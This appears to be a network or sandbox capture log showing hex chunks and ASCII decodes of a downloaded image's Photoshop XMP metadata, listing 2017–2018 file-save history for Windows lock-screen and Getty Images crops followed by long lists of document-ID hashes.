26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 36 54 31 31 3a 30 37 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 
20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 
5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 
Data Ascii: ;2017-04-26T11:02:03-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\WindowsInsider\Campaign\CHOSEN\
WindowsInsider_GettyImages-188034886_1080x1920.jpg saved&#xA;2017-04-26T11:07:27-07:00&#x9;File C:\Users\v-
lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 20

2022-05-26 11:46:49 UTC 2733 IN Data Raw: 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 75 6d 6d 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 43 68 
6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 75 6d 6d 65 72 4d 6f 76 69 65 54 56 5f 47 65 74 74 79 49 6d 61 67 65 73 
2d 35 32 38 35 35 32 36 36 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 
2d 30 35 2d 31 38 54 31 31 3a 31 38 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 
39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 
Data Ascii: x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SummerEntertainment\Chosen\Crops\MIT-
SummerMovieTV_GettyImages-528552665_1080x1920.jpg saved&#xA;2017-05-18T11:18:21-07:00&#x9;File C:\Users\v-
lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved

2022-05-26 11:46:49 UTC 2780 IN Data Raw: 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 31 
39 3a 34 36 3a 34 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 
53 45 4e 2d 4f 33 36 35 52 65 6e 65 77 61 6c 5c 4f 66 66 69 63 65 2d 42 32 5f 35 30 30 70 78 2d 31 35 34 31 33 30 33 31 
35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 31 39 
3a 34 38 3a 32 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 
Data Ascii: 080x1920.psd saved&#xA;2017-06-11T19:46:46-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Of
fice-Batch2\_CHOSEN-O365Renewal\Office-B2_500px-154130315_1080x1920.jpg saved&#xA;2017-06-11T19:48:20-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Of

2022-05-26 11:46:49 UTC 2804 IN Data Raw: 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 
6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 38 54 31 34 3a 32 33 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 
74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 4a 75 6c 79 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 31 35 37 35 30 38 31 32 38 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 38 54 31 34 3a 32 33 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
Data Ascii: ockscreen_1080x1920_Portrait.psd opened&#xA;2017-07-18T14:23:19-07:00&#x9;File C:\Users\v-lizagh\M
S\Windows10\MomentsInTime\NFL\July\Chosen\Crops\MIT-NFL_GettyImages-157508128_1080x1920.psd saved&#x
A;2017-07-18T14:23:39-07:00&#x9;File C:\Users\v-lizagh\MS

2022-05-26 11:46:49 UTC 2820 IN Data Raw: 6f 63 6b 32 30 31 37 2d 42 37 5f 53 68 65 74 6c 61 6e 64 50 6f 6e 79 73 43 6f 72 6e 77 61 6c 6c 55 4b 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 31 38 34 39 32 36 31 31 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 36 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 6
2 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 
6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 
33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 
Data Ascii: ock2017-B7_ShetlandPonysCornwallUK_GettyImages-184926118_1080x1920.jpg saved&#xA;2017-08-
28T16:17:03-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Locks
creen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.

2022-05-26 11:46:49 UTC 2844 IN Data Raw: 32 35 54 31 36 3a 31 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 46 61 6c 
6c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4f 63 74 6f 62 65 72 5c 5f 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 46 61 6c 
6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 32 38 38 38 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 
61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 35 54 31 36 3a 31 38 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 
46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 
65 6e 74 73 49 6e 54 69 6d 65 5c 46 61 6c 6c 45 6e 74 65 72 74 61 69 
Data Ascii: 25T16:14:43-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\FallEntertainment\October\
_Chosen\Crops\Fall_GettyImages-728888861_1080x1920.jpg saved&#xA;2017-09-25T16:18:17-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MomentsInTime\FallEntertai

2022-05-26 11:46:49 UTC 2868 IN Data Raw: 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 6e 65 44 72 69 76 
65 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 4f 6e 65 44 72 69 76 65 5f 47 65 74 74 79 49 6d 61 67 65 
73 2d 31 34 33 33 38 32 39 32 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 31 31 2d 31 34 54 31 35 3a 32 39 3a 31 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 
31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 3
1 35 3a 35 36 3a 35 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 
Data Ascii: v-lizagh\MS\Windows10\Office\OneDrive\CHOSEN\Crops\OfficeOneDrive_GettyImages-143382923_
1080x1920.jpg saved&#xA;2017-11-14T15:29:13-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen
_1080x1920_Portrait.psd saved&#xA;2017-11-15T15:56:51-08:00&#x9;Fil
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2022-05-26 11:46:49 UTC 2900 IN Data Raw: 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 36 3a 32 30 3a 35 32 2d 30 38 3a 
30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 
6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 
6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 54 72 61 76 65 6c 5f 41 6c 61 6d 79 2d 47 31 37 42 45 38 5f 31 30 38 30 78 31 
39 32 30 30 30 38 38 39 35 32 34 32 37 38 35 42 43 42 38 37 42 33 43 39 45 41 44 39 43 37 36 33 36 43 30 2e 70 73 62 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 37 3a 32 31 3a 35 36 2d 30 38 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 
Data Ascii: g saved&#xA;2017-12-11T16:20:52-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photo
shop CC 2017\AutoRecover\_MIT-Travel_Alamy-G17BE8_1080x1920008895242785BCB87B3C9EAD9C7636C0.psb 
saved&#xA;2017-12-11T17:21:56-08:00&#x9;File C:\Users\v-lizag

2022-05-26 11:46:49 UTC 2923 IN Data Raw: 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 30 3a 35 35 3a 35 34 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 43 72 69 63 6b 65 74 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 
5c 4d 49 54 2d 41 73 68 65 73 43 72 69 63 6b 65 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 31 32 31 31 32 32 34 
5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 30 3a 
35 36 3a 32 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 
Data Ascii: saved&#xA;2017-12-20T20:55:54-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\Cric
ket\CHOSEN\Crops\MIT-AshesCricket_GettyImages-511211224_1080x1920.jpg saved&#xA;2017-12-20T20:56:20-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_

2022-05-26 11:46:49 UTC 2939 IN Data Raw: 37 36 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 
2d 32 39 54 31 34 3a 30 39 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 
6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 
73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 53 72 65 77 61 72 64 73 2d 41 55 2d 55 
4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 32 33 35 33 35 39 31 5f 31 30 38 30 78 31 39 32 30 30 30 37 39 45 31 3
8 34 31 33 41 41 34 46 35 44 38 30 39 42 33 46 33 46 37 35 42 34 32 42 41 41 2e 70 73 62 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 38 2d 30 31 2d 32 39 54 31 34 3a 34 32 3a 33 34 2d 30 
Data Ascii: 762_1080x1920.jpg saved&#xA;2018-01-29T14:09:29-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\A
dobe\Adobe Photoshop CC 2017\AutoRecover\_MSrewards-AU-UK_GettyImages-572353591_1080x19200079E18413A
A4F5D809B3F3F75B42BAA.psb saved&#xA;2018-01-29T14:42:34-0

2022-05-26 11:46:49 UTC 2995 IN Data Raw: 33 32 33 38 38 39 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
38 2d 30 33 2d 30 31 54 31 31 3a 35 34 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 
68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 
31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 
44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 30 31 54 31 33 
3a 31 35 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
Data Ascii: 3238890_1080x1920.jpg saved&#xA;2018-03-01T11:54:56-08:00&#x9;File C:\Users\v-lizagh\AppData\Roami
ng\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B50F7D5720C969D424
3149667.psb saved&#xA;2018-03-01T13:15:28-08:00&#x9;File 

2022-05-26 11:46:49 UTC 3027 IN Data Raw: 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 
63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 
32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b ff e1 ff c5 68 74 74 70 
3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 30 39 35 34 45 37 45 30 45 43 
36 39 44 36 46 38 39 44 32 46 46 31 31 34 31 34 33 33 32 39 38 39 00 10 2d a6 00 03 fd e0 32 30 31 38 2d 30 33 2d 32 
30 54 31 36 3a 33 30 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 
Data Ascii:  Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B50F7D5720C969D42431
49667.psb saved&#xA;http://ns.adobe.com/xmp/extension/0954E7E0EC69D6F89D2FF11414332989-2018-03-20T16
:30:06-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__

2022-05-26 11:46:49 UTC 3099 IN Data Raw: 3e 30 38 31 35 38 31 46 36 33 35 42 41 36 43 37 43 34 33 37 41 33 32 43 44 33 37 45 38 34 46 34 30 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 31 39 38 45 43 31 44 43 33 45 30 35 44 38 45 38 34 36 45 42 43 
33 44 45 32 33 34 42 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 31 43 30 43 31 36 41 44 30 30 4
4 44 46 35 36 43 38 38 37 35 34 34 32 45 31 39 35 38 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 
32 42 32 46 30 38 43 30 38 33 46 31 46 36 39 33 43 36 32 46 45 46 35 30 34 32 44 43 37 31 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 30 38 32 43 37 34 45 39 34 43 38 33 38 44 31 30 31 38 33 36 46 34 38 45 43 42 38 37 31 36 
41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 38 32 46 
Data Ascii: >081581F635BA6C7C437A32CD37E84F40</rdf:li> <rdf:li>08198EC1DC3E05D8E846EBC3DE234B3F</rdf
:li> <rdf:li>081C0C16AD00DDF56C8875442E19580F</rdf:li> <rdf:li>082B2F08C083F1F693C62FEF5042DC71</rdf:li> 
<rdf:li>082C74E94C838D101836F48ECB8716AD</rdf:li> <rdf:li>082F

2022-05-26 11:46:49 UTC 3138 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 44 39 45 41 30 35 43 35 44 44 38 37 35 31 46 37 30 
35 38 38 37 39 30 36 33 30 43 38 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 34 45 31 39 36 42 33 
42 45 35 30 46 42 39 37 43 34 41 42 45 36 34 35 34 45 45 30 35 44 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 31 35 30 41 39 41 35 32 35 39 36 30 38 34 37 41 32 31 34 46 35 33 35 46 42 38 38 36 46 31 32 30 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 31 32 38 36 34 33 37 32 34 35 32 41 44 45 33 35 31 46 46 42 35 38 32 
37 31 36 41 36 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 31 38 36 36 44 44 31 45 39 39 43 31 
33 36 38 41 44 33 34 30 31 38 39 32 35 32 39 45 42 33 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>14D9EA05C5DD8751F70588790630C883</rdf:li> <rdf:li>14E196B3BE50FB97C4ABE
6454EE05DBA</rdf:li> <rdf:li>150A9A525960847A214F535FB886F120</rdf:li> <rdf:li>1512864372452ADE351FF
B582716A6A4</rdf:li> <rdf:li>151866DD1E99C1368AD3401892529EB3</rdf:

2022-05-26 11:46:49 UTC 3162 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 32 41 33 37 42 34 38 36 42 33 30 39 42 44 38 33 32 41 
37 33 33 33 39 30 45 36 44 42 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 33 37 35 42 39 38 39 
38 30 33 32 44 42 34 41 45 34 42 39 43 42 36 37 38 32 41 37 38 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 31 42 35 38 46 31 36 30 41 43 45 42 30 39 42 45 41 33 41 31 43 44 30 31 36 37 42 36 44 39 46 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 36 34 33 33 43 38 38 34 45 39 38 37 35 38 30 39 46 32 34 35 46 42 45 33 
45 36 35 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 36 44 31 38 45 42 34 46 41 37 44 41 46 
44 30 35 30 42 33 38 30 44 38 42 37 36 44 30 46 38 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>1B2A37B486B309BD832A733390E6DB69</rdf:li> <rdf:li>1B375B9898032DB4AE4B9CB
6782A784B</rdf:li> <rdf:li>1B58F160ACEB09BEA3A1CD0167B6D9F4</rdf:li> <rdf:li>1B6433C884E9875809F245F
BE3E65E09</rdf:li> <rdf:li>1B6D18EB4FA7DAFD050B380D8B76D0F8</rdf:li
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2022-05-26 11:46:49 UTC 3226 IN Data Raw: 36 41 36 46 44 44 31 31 34 42 46 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 39 41 
36 41 44 42 36 31 32 33 43 39 31 30 39 35 36 44 38 31 35 43 34 32 39 36 30 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 32 38 46 36 46 42 46 36 39 44 37 38 46 30 41 35 32 37 44 32 45 35 35 36 44 42 45 37 38 33 46 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 46 45 32 34 41 34 46 45 39 30 38 43 32 46 31 41 33 44 46 38 
39 45 31 42 45 37 39 43 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 39 30 36 43 35 43 32 38 31 30 
32 38 44 34 42 38 41 45 43 45 44 46 33 46 30 38 31 34 41 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
32 39 30 45 39 45 33 42 35 45 46 39 43 46 41 32 44 38 45 32 33 39 36 45 
Data Ascii: 6A6FDD114BF73</rdf:li> <rdf:li>28E9A6ADB6123C910956D815C42960B3</rdf:li> <rdf:li>28F6FBF
69D78F0A527D2E556DBE783F3</rdf:li> <rdf:li>28FE24A4FE908C2F1A3DF89E1BE79CED</rdf:li> <rdf:li>2906C5C
281028D4B8AECEDF3F0814AC3</rdf:li> <rdf:li>290E9E3B5EF9CFA2D8E2396E

2022-05-26 11:46:49 UTC 3281 IN Data Raw: 39 39 45 43 35 33 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 31 46 44 33 46 36 34 33 
42 46 45 37 43 36 37 45 36 38 45 32 34 45 35 35 35 38 43 38 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 33 35 32 41 45 42 44 36 31 42 38 44 38 43 44 33 45 35 34 46 38 38 34 36 34 39 35 43 33 38 46 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 33 36 33 43 33 42 41 41 37 46 34 31 38 30 38 36 31 46 45 32 41 30 34 33 31 
39 32 41 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 35 38 44 45 39 44 46 37 42 43 46 36 36 37 
41 35 43 38 30 34 42 33 36 39 31 37 37 42 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 36 33 30 
38 30 38 44 33 34 43 35 44 37 46 42 44 46 32 44 38 33 31 37 41 38 44 45 
Data Ascii: 99EC53BD</rdf:li> <rdf:li>351FD3F643BFE7C67E68E24E5558C8A1</rdf:li> <rdf:li>352AEBD61B8D
8CD3E54F8846495C38F8</rdf:li> <rdf:li>35363C3BAA7F4180861FE2A043192A92</rdf:li> <rdf:li>3558DE9DF7BC
F667A5C804B369177BB1</rdf:li> <rdf:li>35630808D34C5D7FBDF2D8317A8DE

2022-05-26 11:46:49 UTC 3289 IN Data Raw: 34 45 34 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 34 45 44 32 43 33 38 33 37 31 
32 37 31 33 31 41 42 34 39 42 41 46 38 37 37 46 30 39 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 
43 35 35 38 39 43 45 43 42 35 36 45 32 46 34 35 31 46 31 30 35 43 43 31 39 43 46 31 32 44 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 33 43 35 38 32 45 45 42 38 44 32 37 35 41 44 31 44 39 43 44 43 34 37 44 31 44 43 38 34 
37 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 35 45 46 38 43 33 42 41 43 43 43 43 44 44 34 32 
41 32 33 30 36 39 38 44 34 42 32 44 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 36 34 46 43 30 
43 30 37 42 37 44 35 39 32 33 41 36 38 43 36 41 37 39 41 39 44 46 31 34 
Data Ascii: 4E4A00</rdf:li> <rdf:li>3C4ED2C3837127131AB49BAF877F09F4</rdf:li> <rdf:li>3C5589CECB56E2
F451F105CC19CF12D5</rdf:li> <rdf:li>3C582EEB8D275AD1D9CDC47D1DC84710</rdf:li> <rdf:li>3C5EF8C3BACCCC
DD42A230698D4B2DDC</rdf:li> <rdf:li>3C64FC0C07B7D5923A68C6A79A9DF14

2022-05-26 11:46:49 UTC 3305 IN Data Raw: 42 36 38 38 37 32 31 44 39 45 43 33 42 33 39 39 30 34 31 34 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 34 38 42 44 44 34 38 42 30 43 31 38 34 33 36 41 33 41 45 32 35 45 34 36 45 34 37 34 34 46 43 44 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 42 46 35 46 45 44 43 42 37 43 39 34 30 43 36 36 38 36 38 33 30 36 
30 44 41 43 32 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 43 30 35 31 34 44 36 34 43 41 37 4
6 46 35 34 33 30 44 39 36 42 42 34 32 42 43 31 42 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 43 
31 31 35 32 33 45 45 37 44 30 46 31 39 33 42 43 39 44 43 45 43 43 39 30 44 44 42 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 34 38 43 35 32 31 34 35 38 31 36 45 37 43 44 
Data Ascii: B688721D9EC3B3990414F6</rdf:li> <rdf:li>48BDD48B0C18436A3AE25E46E4744FCD</rdf:li> <rdf:l
i>48BF5FEDCB7C940C668683060DAC2F67</rdf:li> <rdf:li>48C0514D64CA7FF5430D96BB42BC1B13</rdf:li> <rdf:l
i>48C11523EE7D0F193BC9DCECC90DDBD8</rdf:li> <rdf:li>48C52145816E7CD

2022-05-26 11:46:49 UTC 3353 IN Data Raw: 64 66 3a 6c 69 3e 35 36 32 30 41 46 31 36 32 42 31 32 41 43 44 42 41 39 33 37 41 35 45 42 38 44 42 39 42 
42 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 33 34 44 43 37 34 42 42 31 41 34 39 37 34 35 35 
33 44 37 30 35 32 41 32 30 42 35 31 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 33 35 32 46 30 4
6 46 41 45 32 33 45 30 37 31 37 43 45 34 43 42 44 45 44 34 44 46 30 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 35 36 34 31 39 35 32 35 36 36 31 44 43 39 42 46 36 37 33 37 38 35 30 42 33 33 37 42 37 45 42 41 3c 2f 72 64 
